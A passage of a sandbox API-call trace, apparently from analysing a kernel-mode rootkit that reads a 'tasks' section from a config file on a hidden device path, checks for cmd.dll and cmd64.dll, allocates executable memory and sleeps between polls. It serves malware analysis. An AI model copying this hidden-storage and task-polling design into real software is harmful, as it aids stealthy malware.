_Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.579] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.579] KeLeaveCriticalRegion () [0119.579] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.579] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.579] KeEnterCriticalRegion () [0119.579] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.579] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002db0000 [0119.579] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.579] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.579] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.579] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0119.579] IdePortDispatch () returned 0x103 [0119.580] KeWaitForMutexObject () returned 0x0 [0119.580] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.580] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.580] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.580] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.580] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0119.580] IdePortDispatch () returned 0x103 [0119.580] KeWaitForMutexObject () returned 0x0 [0119.580] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.580] KeLeaveCriticalRegion () [0119.580] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.580] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.580] KeEnterCriticalRegion () [0119.580] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.581] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.581] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.581] KeLeaveCriticalRegion () [0119.581] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.581] KeEnterCriticalRegion () [0119.581] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.581] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.581] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bda890, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.581] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.581] KeLeaveCriticalRegion () [0119.581] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.581] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.581] KeEnterCriticalRegion () [0119.581] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.581] ExFreePoolWithTag (P=0xfffffa8003aa1b00, Tag=0x0) [0119.581] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.581] KeLeaveCriticalRegion () [0119.581] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.581] ReleaseMutex (hMutex=0xf0) returned 1 [0119.581] Sleep (dwMilliseconds=0x927c0) [0119.594] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0119.594] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.595] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0119.595] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.595] KeEnterCriticalRegion () [0119.595] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.595] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.595] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.595] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.595] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0119.595] IdePortDispatch () returned 0x103 [0119.595] KeWaitForMutexObject () returned 0x0 [0119.595] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.595] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.595] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.595] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.595] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.595] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bda330 [0119.595] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.595] KeLeaveCriticalRegion () [0119.595] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.595] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.595] KeEnterCriticalRegion () [0119.595] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.595] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.595] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.595] KeLeaveCriticalRegion () [0119.595] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.595] KeEnterCriticalRegion () [0119.595] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.595] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.595] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.595] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.595] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0119.595] IdePortDispatch () returned 0x103 [0119.596] KeWaitForMutexObject () returned 0x0 [0119.596] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.596] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.596] KeLeaveCriticalRegion () [0119.596] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.596] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.596] KeEnterCriticalRegion () [0119.596] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.596] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002db5000 [0119.596] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.596] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.596] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.596] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0119.596] IdePortDispatch () returned 0x103 [0119.596] KeWaitForMutexObject () returned 0x0 [0119.596] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.596] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.596] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.596] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.596] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0119.596] IdePortDispatch () returned 0x103 [0119.596] KeWaitForMutexObject () returned 0x0 [0119.596] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.596] KeLeaveCriticalRegion () [0119.596] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.597] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.597] KeEnterCriticalRegion () [0119.597] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.597] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.597] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.597] KeLeaveCriticalRegion () [0119.597] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.597] KeEnterCriticalRegion () [0119.597] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.597] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.597] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bcaf20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.597] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.597] KeLeaveCriticalRegion () [0119.597] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.597] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.597] KeEnterCriticalRegion () [0119.597] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.597] ExFreePoolWithTag (P=0xfffffa8003bda330, Tag=0x0) [0119.597] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.597] KeLeaveCriticalRegion () [0119.597] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.598] ReleaseMutex (hMutex=0xf0) returned 1 [0119.598] Sleep (dwMilliseconds=0x927c0) [0119.613] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0119.613] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.613] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0119.613] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.613] KeEnterCriticalRegion () [0119.613] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.613] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.613] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.613] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.613] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0119.613] IdePortDispatch () returned 0x103 [0119.613] KeWaitForMutexObject () returned 0x0 [0119.613] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.613] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.613] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.613] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.613] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.613] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bcae60 [0119.613] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.613] KeLeaveCriticalRegion () [0119.613] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.613] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.613] KeEnterCriticalRegion () [0119.613] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.613] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.613] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.613] KeLeaveCriticalRegion () [0119.613] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.613] KeEnterCriticalRegion () [0119.613] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.613] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.613] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.613] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.613] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0119.613] IdePortDispatch () returned 0x103 [0119.614] KeWaitForMutexObject () returned 0x0 [0119.614] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.614] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.614] KeLeaveCriticalRegion () [0119.614] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.614] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.614] KeEnterCriticalRegion () [0119.614] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.614] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002dba000 [0119.614] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.614] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.614] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.614] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0119.614] IdePortDispatch () returned 0x103 [0119.614] KeWaitForMutexObject () returned 0x0 [0119.614] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.614] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.614] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.614] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.614] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0119.614] IdePortDispatch () returned 0x103 [0119.614] KeWaitForMutexObject () returned 0x0 [0119.614] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.614] KeLeaveCriticalRegion () [0119.614] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.615] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.615] KeEnterCriticalRegion () [0119.615] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.615] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.615] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.615] KeLeaveCriticalRegion () [0119.615] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.615] KeEnterCriticalRegion () [0119.615] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.615] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.615] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bcaf20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.615] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.615] KeLeaveCriticalRegion () [0119.615] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.615] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.615] KeEnterCriticalRegion () [0119.615] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.615] ExFreePoolWithTag (P=0xfffffa8003bcae60, Tag=0x0) [0119.615] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.615] KeLeaveCriticalRegion () [0119.615] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.615] ReleaseMutex (hMutex=0xf0) returned 1 [0119.615] Sleep (dwMilliseconds=0x927c0) [0119.623] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0119.623] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.626] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0119.626] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.626] KeEnterCriticalRegion () [0119.626] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.626] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.626] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.626] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.626] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0119.626] IdePortDispatch () returned 0x103 [0119.626] KeWaitForMutexObject () returned 0x0 [0119.626] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.626] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.626] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.626] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.626] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.626] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bda450 [0119.626] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.626] KeLeaveCriticalRegion () [0119.626] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.626] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.626] KeEnterCriticalRegion () [0119.626] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.626] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.626] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.626] KeLeaveCriticalRegion () [0119.627] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.627] KeEnterCriticalRegion () [0119.627] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.627] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.627] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.627] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.627] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0119.627] IdePortDispatch () returned 0x103 [0119.627] KeWaitForMutexObject () returned 0x0 [0119.627] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.627] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.627] KeLeaveCriticalRegion () [0119.627] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.627] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.627] KeEnterCriticalRegion () [0119.627] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.627] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003450000 [0119.627] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.627] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.627] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.627] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0119.627] IdePortDispatch () returned 0x103 [0119.627] KeWaitForMutexObject () returned 0x0 [0119.627] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.627] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.627] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.627] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.627] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0119.627] IdePortDispatch () returned 0x103 [0119.628] KeWaitForMutexObject () returned 0x0 [0119.628] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.628] 